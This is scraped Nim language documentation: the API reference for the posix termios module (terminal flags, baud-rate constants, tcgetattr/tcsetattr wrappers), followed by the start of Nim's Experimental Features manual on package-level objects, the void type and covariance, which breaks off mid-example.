[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L21) ``` IOctl_WinSize = object ws_row*, ws_col*, ws_xpixel*, ws_ypixel*: cushort ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L246) Vars ---- ``` VINTR: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L42) ``` VQUIT: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L43) ``` VERASE: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L44) ``` VKILL: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L45) ``` VEOF: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L46) ``` VTIME: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L47) ``` VMIN: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L48) ``` VSTART: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L49) ``` VSTOP: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L50) ``` VSUSP: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L51) ``` VEOL: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L52) ``` IGNBRK: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L57) ``` BRKINT: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L58) ``` IGNPAR: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L59) ``` PARMRK: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L60) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L60) ``` INPCK: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L61) ``` ISTRIP: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L62) ``` INLCR: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L63) ``` IGNCR: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L64) ``` ICRNL: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L65) ``` IUCLC: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L66) ``` IXON: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L67) ``` IXANY: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L68) ``` IXOFF: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L69) ``` OPOST: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L74) ``` ONLCR: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L75) ``` OCRNL: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L76) ``` ONOCR: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L77) ``` ONLRET: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L78) ``` OFILL: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L79) ``` OFDEL: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L80) ``` NLDLY: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L81) ``` NL0: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L82) ``` NL1: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L83) ``` CRDLY: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L84) ``` CR0: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L85) ``` CR1: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L86) ``` CR2: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L87) ``` CR3: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L88) ``` TABDLY: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L89) ``` TAB0: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L90) ``` TAB1: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L91) ``` TAB2: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L92) ``` TAB3: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L93) ``` BSDLY: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L94) ``` BS0: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L95) ``` BS1: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L96) ``` FFDLY: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L97) ``` FF0: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L98) ``` FF1: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L99) ``` VTDLY: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L100) ``` VT0: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L101) ``` VT1: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L102) ``` B0: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L107) ``` B50: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L108) ``` B75: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L109) ``` B110: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L110) ``` B134: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L111) ``` B150: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L112) ``` B200: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L113) ``` B300: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L114) ``` B600: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L115) ``` B1200: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L116) ``` B1800: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L117) ``` B2400: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L118) ``` B4800: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L119) ``` B9600: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L120) ``` B19200: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L121) ``` B38400: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L122) ``` B57600: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L123) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L123) ``` B115200: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L124) ``` B230400: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L125) ``` B460800: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L126) ``` B500000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L127) ``` B576000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L128) ``` B921600: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L129) ``` B1000000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L130) ``` B1152000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L131) ``` B1500000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L132) ``` B2000000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L133) ``` B2500000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L134) ``` B3000000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L135) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L135) ``` B3500000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L136) ``` B4000000: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L137) ``` EXTA: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L138) ``` EXTB: Speed ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L139) ``` CSIZE: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L140) ``` CS5: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L141) ``` CS6: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L142) ``` CS7: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L143) ``` CS8: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L144) ``` CSTOPB: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L145) ``` CREAD: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L146) ``` PARENB: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L147) ``` PARODD: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L148) ``` HUPCL: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L149) ``` CLOCAL: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L150) ``` ISIG: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L155) ``` ICANON: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L156) ``` ECHO: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L157) ``` ECHOE: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L158) ``` ECHOK: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L159) ``` ECHONL: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L160) ``` NOFLSH: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L161) ``` TOSTOP: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L162) ``` IEXTEN: Cflag ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L163) ``` TCOOFF: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L168) ``` TCOON: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L169) ``` TCIOFF: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L170) ``` TCION: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L171) ``` TCIFLUSH: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L176) ``` TCOFLUSH: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L177) ``` TCIOFLUSH: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L178) ``` TCSANOW: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L183) ``` TCSADRAIN: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L184) ``` TCSAFLUSH: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L185) ``` TIOCGWINSZ: culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L241) Consts ------ ``` NCCS = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L17) Procs ----- ``` proc cfGetOspeed(termios: ptr Termios): Speed {...}{.importc: "cfgetospeed", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L195) ``` proc cfGetIspeed(termios: ptr Termios): Speed {...}{.importc: "cfgetispeed", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L199) ``` proc cfSetOspeed(termios: ptr Termios; speed: Speed): cint {...}{. importc: "cfsetospeed", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L203) ``` proc cfSetIspeed(termios: ptr Termios; speed: Speed): cint {...}{. importc: "cfsetispeed", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L207) ``` proc tcGetAttr(fd: cint; termios: ptr Termios): cint {...}{.importc: "tcgetattr", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L211) ``` proc tcSetAttr(fd: cint; optional_actions: cint; termios: ptr Termios): cint {...}{. importc: "tcsetattr", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L216) ``` proc tcSendBreak(fd: cint; duration: cint): cint {...}{.importc: "tcsendbreak", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L220) ``` proc tcDrain(fd: cint): cint {...}{.importc: "tcdrain", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L227) ``` proc tcFlush(fd: cint; queue_selector: cint): cint {...}{.importc: "tcflush", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L231) ``` proc tcFlow(fd: cint; action: cint): cint {...}{.importc: "tcflow", header: "<termios.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L236) ``` proc ioctl(fd: cint; request: culong; reply: ptr IOctl_WinSize): int {...}{. importc: "ioctl", header: "<stdio.h>", varargs.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L252) Templates --------- ``` template cceq(val, c): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L190) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L190)
programming_docs
nim Nim Experimental Features Nim Experimental Features ========================= About this document ------------------- This document describes features of Nim that are to be considered experimental. Some of these are not covered by the `.experimental` pragma or `--experimental` switch because they are already behind a special syntax and one may want to use Nim libraries using these features without using them oneself. **Note**: Unless otherwise indicated, these features are not to be removed, but refined and overhauled. Package level objects --------------------- Every Nim module resides in a (nimble) package. An object type can be attached to the package it resides in. If that is done, the type can be referenced from other modules as an incomplete object type. This feature allows to break up recursive type dependencies across module boundaries. Incomplete object types are always passed `byref` and can only be used in pointer like contexts (`var/ref/ptr IncompleteObject`) in general since the compiler does not yet know the size of the object. To complete an incomplete object the `package` pragma has to be used. `package` implies `byref`. As long as a type `T` is incomplete, neither `sizeof(T)` nor runtime type information for `T` is available. Example: ``` # module A (in an arbitrary package) type Pack.SomeObject = object ## declare as incomplete object of package 'Pack' Triple = object a, b, c: ref SomeObject ## pointers to incomplete objects are allowed ## Incomplete objects can be used as parameters: proc myproc(x: SomeObject) = discard ``` ``` # module B (in package "Pack") type SomeObject* {.package.} = object ## Use 'package' to complete the object s, t: string x, y: int ``` Void type --------- The `void` type denotes the absence of any type. Parameters of type `void` are treated as non-existent, `void` as a return type means that the procedure does not return a value: ``` proc nothing(x, y: void): void = echo "ha" nothing() # writes "ha" to stdout ``` The `void` type is particularly useful for generic code: ``` proc callProc[T](p: proc (x: T), x: T) = when T is void: p() else: p(x) proc intProc(x: int) = discard proc emptyProc() = discard callProc[int](intProc, 12) callProc[void](emptyProc) ``` However, a `void` type cannot be inferred in generic code: ``` callProc(emptyProc) # Error: type mismatch: got (proc ()) # but expected one of: # callProc(p: proc (T), x: T) ``` The `void` type is only valid for parameters and return types; other symbols cannot have the type `void`. Covariance ---------- Covariance in Nim can be introduced only through pointer-like types such as `ptr` and `ref`. Sequence, Array and OpenArray types, instantiated with pointer-like types will be considered covariant if and only if they are also immutable. The introduction of a `var` modifier or additional `ptr` or `ref` indirections would result in invariant treatment of these types. `proc` types are currently always invariant, but future versions of Nim may relax this rule. User-defined generic types may also be covariant with respect to some of their parameters. By default, all generic params are considered invariant, but you may choose the apply the prefix modifier `in` to a parameter to make it contravariant or `out` to make it covariant: ``` type AnnotatedPtr[out T] = metadata: MyTypeInfo p: ref T RingBuffer[out T] = startPos: int data: seq[T] Action {.importcpp: "std::function<void ('0)>".} 